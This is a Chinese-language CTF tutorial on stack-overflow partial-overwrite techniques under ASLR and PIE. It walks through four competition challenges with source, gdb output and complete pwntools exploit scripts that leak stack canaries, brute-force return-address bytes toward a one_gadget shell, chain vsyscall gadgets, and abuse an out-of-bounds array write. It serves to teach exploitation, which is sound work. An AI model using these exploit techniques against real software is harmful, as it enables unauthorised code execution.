栈溢出技巧-下
作者: caps
根据前面的内容可以知道在开启ASLR+PIE的后,每次加载的地址是在一定的范围随机变化的,只不过由于内存页为0x1000空间大小的限制和加载后相对偏移不会变的缘故,造成了加载后的地址的最后一个半字节长度的内容是不变的。
partial write则是利用了这一点,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的,因此我们可以通过覆盖地址的后几位来可以控制程序的执行流。
另外,partial overwrite不仅仅可以用在栈上,同样可以用在其它随机化的场景。比如堆的随机化,由于堆起始地址低字节一定是0x00,也可以通过覆盖低位来控制堆上的偏移。
题目一
2018年安恒杯中babypie题,因为wiki中给的不是一个二进制文件,因此自己重新编译。
#include <unistd.h> #include <stdlib.h> void flag(){ system("cat flag"); } void vuln(){ char buf[40]; puts("Input your Name:"); read(0, buf, 0x30); printf("Hello %s:\n", buf); read(0, buf, 0x60); } int main(int argc, char const *argv[]) { vuln(); return 0; } pwn@pwn-PC:~/Desktop$ gcc -fpie -pie -fstack-protector -o test-pie partial.c pwn@pwn-PC:~/Desktop$ checksec test-pie [*] '/home/pwn/Desktop/test-pie' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
此题目所有保护都开着,首先发现有canary,就想着使用stack smash泄漏flag函数的地址,然后此地址作为第二次read的ret_addr地址进行执行,但是只有第二次read操作存在栈溢出,而且溢出的距离无法到达到覆盖__libc_argv[0]的距离,假设即便能覆盖,在PIE的情况下也很难确定.text的地址,因此本题使用partial overwrite的方法进行利用。
可以发现两次read操作,只有第二次read操作存在栈溢出,但是又有canary,很难利用第二次的栈溢出,那么怎么去解决?首先需要获取canary的值, 因为read函数并不会给输入的末尾加上 \x00 字符,而且printf 使用 %s 时, 遇到 \x00 字符才会结束输出,因此只需要把canary末尾字符覆盖成非 \x00 字符就可以利用printf("Hello %s:\n", buf)输出canary,然后再利用partial overwrite覆盖ret_addr控制程序的指令流,步骤如下:泄漏canary值
from pwn import * context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] offset = 0x28 p = process('./test-pie') p.recvuntil("Name:\n") payload='a' * offset gdb.attach(p) p.sendline(payload) p.recvuntil('a' * offset) p.recv(1) canary = u64('\0' + p.recvn(7)) print hex(canary) pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './test-pie': pid 28293 [DEBUG] Received 0x11 bytes: 'Input your Name:\n' [DEBUG] Wrote gdb script to '/tmp/pwnozkM_1.gdb' file "./test-pie" [*] running in new terminal: /usr/bin/gdb -q "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb" [DEBUG] Launching a new terminal: ['/usr/bin/deepin-terminal', '-x', 'sh', '-c', '/usr/bin/gdb -q "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"'] [+] Waiting for debugger: Done [DEBUG] Sent 0x29 bytes: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n' [DEBUG] Received 0x2f bytes: 'Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n' [DEBUG] Received 0xf bytes: 00000000 77 05 28 c0 f3 64 57 20 69 4e d8 fc 7f 3a 0a │w·(·│·dW │iN··│·:·│ 0000000f 0x5764f3c028057700
可以看到,sent了0x29个字符,因为buf的栈地址到canary值的地址的相距0x28个字符,再加上覆盖的canary的末尾字符总共0x29个字符,栈中覆盖情况如下:
read(0, buf, 0x30)函数执行完成后: ───────────────────────────────────[ STACK ]───────────────────────────────────────── 00:0000│ rax r8 rsp 0x7ffcd84e68d0 ◂— 0x6161616161616161 ('aaaaaaaa') ... ↓ 05:0028│ 0x7ffcd84e68f8 ◂— 0x5764f3c02805770a 06:0030│ rbp 0x7ffcd84e6900 —▸ 0x7ffcd84e6920 —▸ 0x55a96ce218b0 ◂— push r15 07:0038│ 0x7ffcd84e6908 —▸ 0x55a96ce2189a ◂— mov eax, 0 ───────────────────────────────────────────────────────────────────────────────── pwndbg> x /18gx 0x7fff426083d0 0x7ffcd84e68d0: 0x6161616161616161 0x6161616161616161 0x7ffcd84e63e0: 0x6161616161616161 0x6161616161616161 0x7ffcd84e63f0: 0x6161616161616161 0x5764f3c02805770a
覆盖ret_addr控制程序的指令流 首先找到flag的地址,最后一个半字节为0x7f0,由于内存是按页夹在的 0x1000为一页,因此每次加载这三位是不会变的,那么在payload中发送的时候(按字节发送,发送4位),第四位随便填写一个即可,每次对随机加载后的flag函数起始地址进行碰撞,因为范围在0x0 -0xf,所以碰撞成功的几率挺大的。
pwndbg> disassemble flag Dump of assembler code for function flag: 0x00005555555547f0 <+0>: push rbp 0x00005555555547f1 <+1>: mov rbp,rsp 0x00005555555547f4 <+4>: lea rdi,[rip+0x139] # 0x555555554934 0x00005555555547fb <+11>: call 0x555555554680 <system@plt> 0x0000555555554800 <+16>: nop 0x0000555555554801 <+17>: pop rbp 0x0000555555554802 <+18>: ret End of assembler dump.
构造payload,覆盖ret_addr的末尾两个字节
p.recvuntil(":\n") payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47' p.send(payload)
可以看到RAX、Canary、ret_addr的末尾两个字节都已经成功覆盖,后面的工作就是去碰撞。 ─────────────────────────────[ REGISTERS ]──────────────────────────────── RAX 0xa4c9b736e3763700 RBP 0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb') RSP 0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' RIP 0x55cd0345386f ◂— xor rax, qword ptr fs:[0x28] ──────────────────────────────[ DISASM ]───────────────────────────────── ► 0x55cd0345386f xor rax, qword ptr fs:[0x28] 0x55cd03453878 je 0x55cd0345387f ↓ 0x55cd0345387f leave 0x55cd03453880 ret ─────────────────────────── ───[ STACK ]───────────────────────────────── 00:0000│ rsi r8 rsp 0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' ... ↓ 05:0028│ 0x7ffe773d1d98 ◂— 0xa4c9b736e3763700 06:0030│ rbp 0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb') 07:0038│ 0x7ffe773d1da8 ◂— 0x55cd034547f0
exp:
from pwn import * context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] offset = 0x28 while True: try: p = process('./test-pie') p.recvuntil("Name:\n") payload='a' * offset # gdb.attach(p) p.sendline(payload) p.recvuntil('a' * offset) p.recv(1) canary = u64('\0' + p.recvn(7)) print hex(canary) p.recvuntil(":\n") payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47' p.send(payload) flag = p.recvall() if 'flag' in flag: exit(0) except Exception as e: p.close() print e pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './test-pie': pid 17736 [DEBUG] Received 0x11 bytes: 'Input your Name:\n' [DEBUG] Sent 0x29 bytes: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n' ...... [+] Receiving all data: Done (37B) [DEBUG] Received 0x25 bytes: 'flag{23dih3879sad8dsk84ihv9fd0wnis0}\n' [*] Process './test-pie' stopped with exit code -11 (SIGSEGV) (pid 17739) [*] Stopped process './test-pie' (pid 17620
总结:在该情况下,因为有canary保护,所以先泄漏canary ,进而构造payload绕过canary覆盖返回地址来执行指定的函数。
题目二
2018年XNUCA中的gets题目
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 v4; // [rsp+0h] [rbp-18h] gets((__int64)&v4, (__int64)a2, (__int64)a3); return 0LL; } pwn@pwn-PC:~/Desktop$ checksec gets [*] '/home/pwn/Desktop/gets' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) 依然没有PIE,但是开了ASLR保护
只有一个gets函数而且存在明显栈溢出漏洞,想象空间很大,可以构造execve函数进行getshell,由于开启了ASLR,必须先构造read或者puts函数泄漏libc的地址,但代码段又没有这些函数,依然得需要先知道libc的加载地址。那么既然开启地址随机化,尝试partial overwrite去覆盖返回地址(覆盖成onegadget的地址)达到getshell的目的。
ps: one-gadget是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能够控制ip的时候,用one-gadget来做RCE(远程代码执行)非常方便,一般地,此办法在64位上常用,却在32位的libc上会很难去找,也很难用。 pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so 0x3f306 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x3f35a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xd695f execve("/bin/sh", rsp+0x60, environ) constraints: [rsp+0x60] == NULL
可以看到栈中main函数的返回地址是0x7ffff7a5a2e1(__libc_start_main+241),继续往下看还发现 0x7ffff7de896b (_dl_init+139)。
有两个地址,这有什么用呢?继续往下看 发现两个地址分别属于libc和ld,而且经过多次实验发现在每次加载中,Id.so和libc.so的加载地址的相对位置是固定的,也就是偏移量不变。
就好比开头提到的,一个比较自然的想法就是我们通过 partial overwrite 来修改0x7ffff7a5a2e1的末尾两位字节为0xf306(如题目一的思路),经过多次碰撞得到onegadget的地址,最终getshell。那么就开始构造flag,因为gets函数会在末尾读入一个\x00的结束符,因此实际上覆盖后的地址是这样的0x7ffff700f306,但是这就面临一个问题。
按照上面来说,如果直接覆盖返回地址
那么覆盖成了0x7ffff700f306(严谨一点:0x7ffff7000306 - 0x7ffff700f306),那么计算出libc的加载地址为0x7ffff6fd0000<<0x7ffff7a3a000(严谨点:0x7ffff6fc1000 - 0x7ffff6fd0000),也就是说libc加载在这个范围内才可能碰撞到onegadget,但是因为偏移量不变的原因,libc加载在这个范围内,覆盖后的onegadget的地址依然偏小,永远是不可能碰撞到的。
如果还是不理解,那继续看这个假设实验:假设我们不知道__libc_start_main在libc的偏移量,并且祈祷__libc_start_main与libc的基址相距地很远,并且假设一下几个地址成立: onegadge地址:0x7ffff700f306 那么根据偏移计算出来 libc的基址:0x7ffff6fd0000 (0x7ffff700f306-0x3f306) 此时__libc_start_main+240的地址:0x7ffff7xxxxxx(给一个最小的地址:0x7ffff7000000),这样才上述的地址的相对位置才有可能成立。
此时__libc_start_main的(最小)偏移量为0x2FF10。现在去验证一下这个假设是否成立,只要真实的偏移量大于等于假设的偏移量,那么假设成立,查看__libc_start_main在libc中偏移量为0x201f0<0x2FF10,也就是说上述假设不成立。
pwndbg> xinfo __libc_start_main Extended information for virtual address 0x7ffff7a5a1f0: Containing mapping: 0x7ffff7a3a000 0x7ffff7bcf000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so Offset information: Mapped Area 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0 File (Base) 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0 File (Segment) 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0 File (Disk) 0x7ffff7a5a1f0 = /usr/lib/x86_64-linux-gnu/libc-2.24.so + 0x201f0
一般来说 libc_start_main 在 libc 中的偏移不会差的太多,那么显然我们如果覆盖 __libc_start_main+240 ,显然是不可能的。那么第二个地址_dl_init+139就有用了,将其覆盖为0x7ffff700f306,按照上面的方法看看是否可行。
onegadge:0x7ffff700f306 那么根据偏移计算出来 libc的基址:0x7ffff6fd0000 此时_dl_init+139的地址:0x7ffff7xxxxxx(给一个最小的地址:0x7ffff7000000),此时_dl_init的(最小)偏移量(距离libc)为0x2FF75 libc和ld两者相距:0x39f000 (在加载的过程中,这个偏移是不变的) ld.so的加载地址:0x7ffff736f000 查看_dl_init真实的偏移量(在ld.so中)0xf8e0,距离libc的偏移是0x3ae8e0>0x2FF75,上述假设成立,此时_dl_init+139的地址为:0x7ffff7de896b(符合0x7ffff7xxxxxx形式)
pwndbg> xinfo _dl_init Extended information for virtual address 0x7ffff7de88e0: Containing mapping: 0x7ffff7dd9000 0x7ffff7dfc000 r-xp 23000 0 /usr/lib/x86_64-linux-gnu/ld-2.24.so Offset information: Mapped Area 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0 File (Base) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0 File (Segment) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0 File (Disk) 0x7ffff7de88e0 = /usr/lib/x86_64-linux-gnu/ld-2.24.so + 0xf8e0
也就是说,当libc的基址为0x7ffff6fd0000是,此时覆盖栈上_dl_init+139为0x7ffff700f306就一定能够碰撞onegadget的地址,这是其中一个可能,还有很多种其他的可能,虽然碰撞几率不大,也不会很小,其实证明了这么久其实就是卡一个0x7ffff6fdxxxxx和0x7ffff7xxxxx这个点的几率。下面的操作就简单易懂了,解决怎么去覆盖的问题即可。相隔那么远,怎么在栈上移动?那么就需要找到合适的gadget了,只需要push_ret那么就可以准确定位到存放_dl_init+139地址。使用__libc_csu_init中的gadget。
pwndbg> x /10i 0x40059b 0x40059b: pop rbp 0x40059c: pop r12 0x40059e: pop r13 0x4005a0: pop r14 0x4005a2: pop r15 0x4005a4: ret
移动的过程如下:
因为这个需要概率,因此不知道payload是不是正确,还在那一直跑,先调试代码,可以发现都是按照设想去执行 只是没成功,然后就是一直跑,直到跑出shell为止。
exp:
from pwn import * # context.arch = 'amd64' # context.log_level = 'debug' # context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] offset = 0x18 while True: try: p = process('./gets') payload='a' * offset + p64(0x40059B) payload += 'b' * 8 * 5 + p64(0x40059B) + 'c' * 8 * 5 + p64(0x40059B) payload += 'c' * 8 * 5 + '\x06\xa3' # gdb.attach(p) p.sendline(payload) p.sendline('ls') data = p.recv() print data p.interactive() p.close() except Exception: p.close() continue
这就需要耐心了,可能几十分钟都没结果(我跑了好久),然后去修改一下partial overwrite的值,将\x06\x03修改成\x06\xa3,一分钟左右就跑出来了。
题目三
HITBCTF2017中的1000levels题目,梳理流程,函数有点多
_BOOL8 __fastcall level(signed int a1){ __int64 v2; // rax __int64 buf; // [rsp+10h] [rbp-30h] __int64 v4; // [rsp+18h] [rbp-28h] __int64 v5; // [rsp+20h] [rbp-20h] __int64 v6; // [rsp+28h] [rbp-18h] unsigned int v7; // [rsp+30h] [rbp-10h] unsigned int v8; // [rsp+34h] [rbp-Ch] unsigned int v9; // [rsp+38h] [rbp-8h] int i; // [rsp+3Ch] [rbp-4h] buf = 0LL; v4 = 0LL; v5 = 0LL; v6 = 0LL; if ( !a1 ) return 1LL; if ( (unsigned int)level(a1 - 1) == 0 ) return 0LL; v9 = rand() % a1; v8 = rand() % a1; v7 = v8 * v9; puts("===================================================="); printf("Level %d\n", (unsigned int)a1); printf("Question: %d * %d = ? Answer:", v9, v8); for ( i = read(0, &buf, 0x400uLL); i & 7; ++i ) *((_BYTE *)&buf + i) = 0; v2 = strtol((const char *)&buf, 0LL, 10); return v2 == v7; } pwn@pwn-PC:~/Desktop$ checksec 1000levels [*] '/home/pwn/Desktop/1000levels' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
主要看level函数,栈溢出发生在 level函数中 __int64 buf; // [rsp+10h] [rbp-30h] read(0, &buf, 0x400uLL) 显然发生了溢出。其中还是开启了PIE保护。程序的流程是通过go函数进入关卡,获取设置的关卡数数目,在level函数中进行递归执行,程序有点复杂,就没有头绪,那么先从溢出点看,怎么利用这个溢出点?
利用题目二的思路,使用partial overwrite覆盖返回地址为onegadget地址,也就是覆盖0x238距离外的0x7ffff7de896b (_dl_init+139) ,然后再利用合适的gadget(因为PIE的缘故,如果还是使用__libc_csu_init的gadget的话,需要先泄漏加载地址,此处换成vsystem里面的gadget)来移动0x238的距离进行覆盖末尾两位。但是仔细看一下程序流程发现还有一个更简单的办法, 我们上一个办法无非就是为了执行onegadget,但是在之前确定onegadget加载的地址,那么需要一个参照物,仔细看hint函数
int hint(void) { signed __int64 v1; // [rsp+8h] [rbp-108h] int v2; // [rsp+10h] [rbp-100h] __int16 v3; // [rsp+14h] [rbp-FCh] if ( show_hint ) { sprintf((char *)&v1, "Hint: %p\n", &system, &system); } else { v1 = 5629585671126536014LL; v2 = 1430659151; v3 = 78; } return puts((const char *)&v1); }
无论执不执行sprintf((char *)&v1, "Hint: %p\n", &system, &system)这条语句,在之前执行这么一段指令
0x555555554cfb <hint()+11> mov rax, qword ptr [rip + 0x2012ce] 0x555555554d02 <hint()+18> mov qword ptr [rbp - 0x110], rax
将[rip + 0x2012ce]=>0x7ffff7a79480 (system)放在栈中位置是hint函数的rbp - 0x110,也就是只要执行hint函数,那么system函数就会被放在rbp - 0x110处,而且这个位置很眼熟,在go函数中也有
int go(void){ int v1; // ST0C_4 __int64 v2; // [rsp+0h] [rbp-120h] __int64 v3; // [rsp+0h] [rbp-120h] int v4; // [rsp+8h] [rbp-118h] __int64 v5; // [rsp+10h] [rbp-110h] signed __int64 v6; // [rsp+10h] [rbp-110h] signed __int64 v7; // [rsp+18h] [rbp-108h] __int64 v8; // [rsp+20h] [rbp-100h] puts("How many levels?"); v2 = read_num(); if ( v2 > 0 ) v5 = v2; else puts("Coward"); puts("Any more?"); v3 = read_num(); v6 = v5 + v3; if ( v6 > 0 ) { if ( v6 <= 999 ){ v7 = v6; } else { puts("More levels than before!"); v7 = 1000LL; } puts("Let's go!'"); v4 = time(0LL); if ( (unsigned int)level(v7) != 0 ) { v1 = time(0LL); sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3); puts((const char *)&v8); } else { puts("You failed."); } exit(0); } return puts("Coward"); }
v5和v6都是rbp-0x110,由于栈帧开辟的原理,main函数中的hint函数和go函数的的rbp应该是同一个地址,因此在执行完hint函数后,再去执行go函数,v5和v6中保存了system的地址,而且刚才说的栈溢出发生在level函数中,由于栈帧开辟的原理,level函数的栈帧在go函数的栈帧的低位置处,可以通过栈溢出和合适的ret的gadget去执行system函数,不过这有两个前提
一、rbp-0x110的地址内容不会被覆盖;二、需要pop_rsi_ret的gadget和'/bin/sh'的地址,这看起来很难满足,继续看程序逻辑,会发现
if ( v2 > 0 ) v5 = v2; else puts("Coward"); puts("Any more?"); v3 = read_num(); v6 = v5 + v3;
也就说只要v2<=0,rbp-0x110就不会被覆盖,而且v6 = v5 + v3可以灵活运用,可以看成onegadget_addr = system_addr + (onegadget_addr-system_addr),因为刚才页提到了最终都要往onegadget上靠,而且我们知道,无论怎么加载,偏移量始终是固定的。这样分析完后,思路就很明确了,显示构造onegadget_addr,然后利用栈溢出和合适的ret的gadget去执行onegadget。第一步得找到level返回地址和rbp-0x110的距离
pwndbg> disassemble go Dump of assembler code for function _Z2gov: 0x0000555555554b7c <+0>: push rbp 0x0000555555554b7d <+1>: mov rbp,rsp 0x0000555555554b80 <+4>: sub rsp,0x120 0x0000555555554b87 <+11>: lea rdi,[rip+0x506] # 0x555555555094 0x0000555555554b8e <+18>: call 0x555555554900 <puts@plt> 0x0000555555554b93 <+23>: call 0x555555554b00 <_Z8read_numv> 0x0000555555554b98 <+28>: mov QWORD PTR [rbp-0x120],rax 0x0000555555554b9f <+35>: mov rax,QWORD PTR [rbp-0x120] 0x0000555555554ba6 <+42>: test rax,rax 0x0000555555554ba9 <+45>: jg 0x555555554bb9 <_Z2gov+61> 0x0000555555554bab <+47>: lea rdi,[rip+0x4f3] # 0x5555555550a5 0x0000555555554bb2 <+54>: call 0x555555554900 <puts@plt> 0x0000555555554bb7 <+59>: jmp 0x555555554bc7 <_Z2gov+75> 0x0000555555554bb9 <+61>: mov rax,QWORD PTR [rbp-0x120] 0x0000555555554bc0 <+68>: mov QWORD PTR [rbp-0x110],rax 0x0000555555554bc7 <+75>: lea rdi,[rip+0x4de] # 0x5555555550ac 0x0000555555554bce <+82>: call 0x555555554900 <puts@plt> 0x0000555555554bd3 <+87>: call 0x555555554b00 <_Z8read_numv> 0x0000555555554bd8 <+92>: mov QWORD PTR [rbp-0x120],rax 0x0000555555554bdf <+99>: mov rdx,QWORD PTR [rbp-0x110] 0x0000555555554be6 <+106>: mov rax,QWORD PTR [rbp-0x120] 0x0000555555554bed <+113>: add rax,rdx 0x0000555555554bf0 <+116>: mov QWORD PTR [rbp-0x110],rax ......
在go的汇编代码中可以看到,总共开辟了0x120大小的栈帧,v5和v6在rsp+10h中,很容易可以计算出level返回地址距离system_addr的距离是0x18,栈结构如下:
---------------------------------------------------- 0x7fffffffcb88 | 0x555555554c74 (go()+248) ---------------------------------------------------- 0x7fffffffcb90 | 0x1 ---------------------------------------------------- 0x7fffffffcb98 | 0x555560531c95 ---------------------------------------------------- 0x7fffffffcba0 | 0x2 ----------------------------------------------------
经过覆盖后0x7fffffffcba0中存的是onegadget的地址。然后在使用合适的gadget越过0x7fffffffcb88、0x7fffffffcb90和0x7fffffffcb98三个内存单元,控制程序执行0x7fffffffcba0的内容。第二步寻找合适的gadget。在PIE的情况下,怎么寻找这个合适的gadget,在stack-pivot篇幅中的第一部分ASLR和PIE的区别的时候,一直提到一个点,无论开启ASLR,还是PIE+ASLR,vsyscall的加载地址依然不变,始终为0xffffffffff600000 - 0xffffffffff601000。
简单介绍一下vsyscall,现代的Windows和Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。执行某些操作的时候会在从用户空间切换到内核空间时需要一个介质,这介质就是系统调用,但是这一过程需要耗费一定的性能,增加了不必要的开销,vsystem就是加速某些系统调用的机制,他用来执行特定的系统调用,减少系统调用的开销,例如gettimeofday(),这样就避免了传统的系统调用模式int 0x80/syscall造成的内核空间和用户上下文空间的切换。使用gdb将vsystem这段内存dump下来拿到IDA中进行查看
seg000:0000000000000000 mov rax, 60h seg000:0000000000000007 syscall ; Low latency system call seg000:0000000000000009 retn seg000:0000000000000009 ; --------------------------------------------------------------------------- seg000:000000000000000A align 400h seg000:0000000000000400 mov rax, 0C9h seg000:0000000000000407 syscall ; Low latency system call seg000:0000000000000409 retn seg000:0000000000000409 ; --------------------------------------------------------------------------- seg000:000000000000040A align 400h seg000:0000000000000800 mov rax, 135h seg000:0000000000000807 syscall ; Low latency system call seg000:0000000000000809 retn
显示的这三个系统调用分别是:gettimeofday, time和getcpu。值得注意的是,在我们选择gadget的是,直接调用vsyscall中的retn指令,会提示段错误,这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错 所以不能直接调用ret,应该从头开始。第三步找到onegadget
pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so 0x3f306 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x3f35a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xd695f execve("/bin/sh", rsp+0x60, environ) constraints: [rsp+0x60] == NULL
准备内容做完后就开始构造payload,但是本地测试一直失败 ,调试时发现每次执行vsyscall的系统调用的的时候,会报出Program recevied signal SIGSEGV(fault address 0xa)的错误提示,可是没有查到原因(求大佬指点),后来在攻防世界中找到一个一样的题目'100levels',只不过最高的循环从1000变为了100,思路没有变,改了下exp就利用成功了,于是更纳闷为什么本地会报这种错误。
from pwn import * libc = ELF("./libc.so") # p = process('./1000levels') p = remote('111.200.241.244',45392) # one_gadget = 0x3f306 one_gadget = 0x4526a system = libc.symbols['system'] print r.recvuntil("Choice:\n") p.sendline('2') print r.recvuntil("Choice:\n") p.sendline('1') print r.recvuntil("How many levels?\n") p.sendline('0') print r.recvuntil("Any more?\n") p.sendline(str(one_gadget-system)) def calc(): print r.recvuntil("Question: ") num1 = int(r.recvuntil(" ")) print r.recvuntil("* ") num2 = int(r.recvuntil(" ")) ans = num1 * num2 print r.recvuntil("Answer:") p.sendline(str(ans)) # for i in range(999): for i in range(99): calc() print p.recvuntil("Answer:") payload = 'a' * 0x38 + p64(0xffffffffff600000) * 3 p.send(payload) p.interactive()
题目四
2019年CISCN中your_pwn的题目,源码如下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { char s; // [rsp+0h] [rbp-110h] unsigned __int64 v5; // [rsp+108h] [rbp-8h] v5 = __readfsqword(0x28u); setbuf(stdout, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); memset(&s, 0, 0x100uLL); printf("input your name \nname:", 0LL); read(0, &s, 0x100uLL); while ( (unsigned int)sub_B35() ); return 0LL; } _BOOL8 sub_B35(){ int v1; // [rsp+4h] [rbp-15Ch] int v2; // [rsp+8h] [rbp-158h] int i; // [rsp+Ch] [rbp-154h] char v4[64]; // [rsp+10h] [rbp-150h] char s; // [rsp+50h] [rbp-110h] unsigned __int64 v6; // [rsp+158h] [rbp-8h] v6 = __readfsqword(0x28u); memset(&s, 0, 0x100uLL); memset(v4, 0, 0x28uLL); for ( i = 0; i <= 40; ++i ) { puts("input index"); __isoc99_scanf("%d", &v1); printf("now value(hex) %x\n", (unsigned int)v4[v1]); puts("input new value"); __isoc99_scanf("%d", &v2); v4[v1] = v2; } puts("do you want continue(yes/no)? "); read(0, &s, 0x100uLL); return strncmp(&s, "yes", 3uLL) == 0; } pwn@pwn-PC:~/Desktop$ checksec pwn [*] '/home/pwn/Desktop/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
又是保护全开,根据程序的代码可以发现存在数组越界漏洞,其中v1可以控制,因为v4这个数组在读取索引的时候没有限制,引发数组越界漏洞,而且代码中分别对数组进行了读和写操作,那么造成栈空间任意地址读写(任意地址读和任意地址写)。由于PIE和canary的存在,所以思路是先泄露栈中的某个返回地址,获取栈中的某些函数(main函数的返回地址__libc_start_main+241)的加载地址,从而计算出libc的基址,进而计算得到onegadget的地址,然后写入返回地址进行ROP即可。在构造payload之前,先分析一下利用过程。
第一步泄漏main函数的返回地址__libc_start_main+241的地址:0x7ffff7a5a2e1,从而根据偏移拿到libc的基址 0x7ffff7a5a2e1 - 0x201f0 - 241 = 0x7ffff7a3a000。
第二步找到onegadget 选择一个onegadget,根据得到的libc的基址和偏移量计算出onegadget地址,0x7ffff7a3a000 + 0x3f306 = 0x7ffff7a79306。
pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so 0x3f306 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x3f35a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL constraints: [rsp+0x60] == NULL
那么此时前期工作就做完,之后利用数组溢出泄漏基址,然后利用数组的写入操作进行rop,执行onegadget,整体的分析如下图:
结合前几节学过的知识,发现能够对过程进行简化,我们泄露0x7fffffffcd18 —▸ 0x7ffff7a5a2e1 (__libc_start_main+241) 的地址,只需要泄漏后后三位(因为前面的加载地址都一样)即可
查看__libc_start_main+241末尾三个字节: pwndbg> x /3bx 0x7fffffffcd18 0x7fffffffcd18: 0xe1 0xa2 0xa5 :0xa5a2e1 使用后三位字节进行计算: 0xa5a2e1- 0x201f0 - 241 = 0xa3a000 :libc addr 0xa3a000 + 0x3f306 = 0xa79306 | onegadget addr 将onegadget addr进行写入: 0x7fffffffcd18 :0x06 :v2 = 6 0x7fffffffcd19 :0x93 :v2 = 147 0x7fffffffcd1a :0x7a :v2 = 122 写入位置: v4[0x278] :v1 = 632 v4[0x279] :v1 = 633 v4[0x280] :v1 = 634
注意在进行printf时,是输出是格式%x,运用了一次MOVSX指令(说明:带符号扩展传送指),因此在exp中需要对输出的内容进行处理,exp如下:
from pwn import * # context.arch = 'amd64' # context.log_level = 'debug' # context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.24.so") p = process('./pwn') one_gadget = 0x3f306 libc_start_main_addr = libc.symbols['__libc_start_main'] libc_start_main_241 = 0xf1 offset = 0x278 newValue = 1 def byte(addr): libc_start_main = '' if(len(addr)<2): libc_start_main = '0' + addr elif(len(addr)==8): libc_start_main = addr[-2:] else: libc_start_main = addr return libc_start_main p.recvuntil("name:") p.sendline('pwn') p.recvuntil("input index\n") p.sendline(str(offset)) p.recvuntil("now value(hex) ") addr = p.recvuntil('\n')[:-1] p.sendline(str(newValue)) p.recvuntil("input index\n") p.sendline(str(offset+1)) p.recvuntil("now value(hex) ") addr1 = p.recvuntil('\n')[:-1] p.sendline(str(newValue)) p.recvuntil("input index\n") p.sendline(str(offset+2)) p.recvuntil("now value(hex) ") addr2 = p.recvuntil('\n')[:-1] p.sendline(str(newValue)) libc_start_main = byte(addr2) + byte(addr1) + byte(addr) libc_addr = int('0x'+libc_start_main,16) - libc_start_main_addr - libc_start_main_241 one_gadget_addr = libc_addr + one_gadget # print hex(one_gadget_addr) a = int('0x'+hex(one_gadget_addr)[-2:],16) b = int('0x'+hex(one_gadget_addr)[-4:-2],16) c = int('0x'+hex(one_gadget_addr)[-6:-4],16) # gdb.attach(p) p.recvuntil("input index\n") p.sendline(str(offset)) p.recvuntil("now value(hex) ") addr = p.recvuntil('\n')[:-1] p.sendline(str(a)) p.recvuntil("input index\n") p.sendline(str(offset+1)) p.recvuntil("now value(hex) ") addr1 = p.recvuntil('\n')[:-1] p.sendline(str(b)) p.recvuntil("input index\n") p.sendline(str(offset+2)) p.recvuntil("now value(hex) ") addr2 = p.recvuntil('\n')[:-1] p.sendline(str(c)) p.recvuntil("input index\n") p.sendline('a') p.interactive()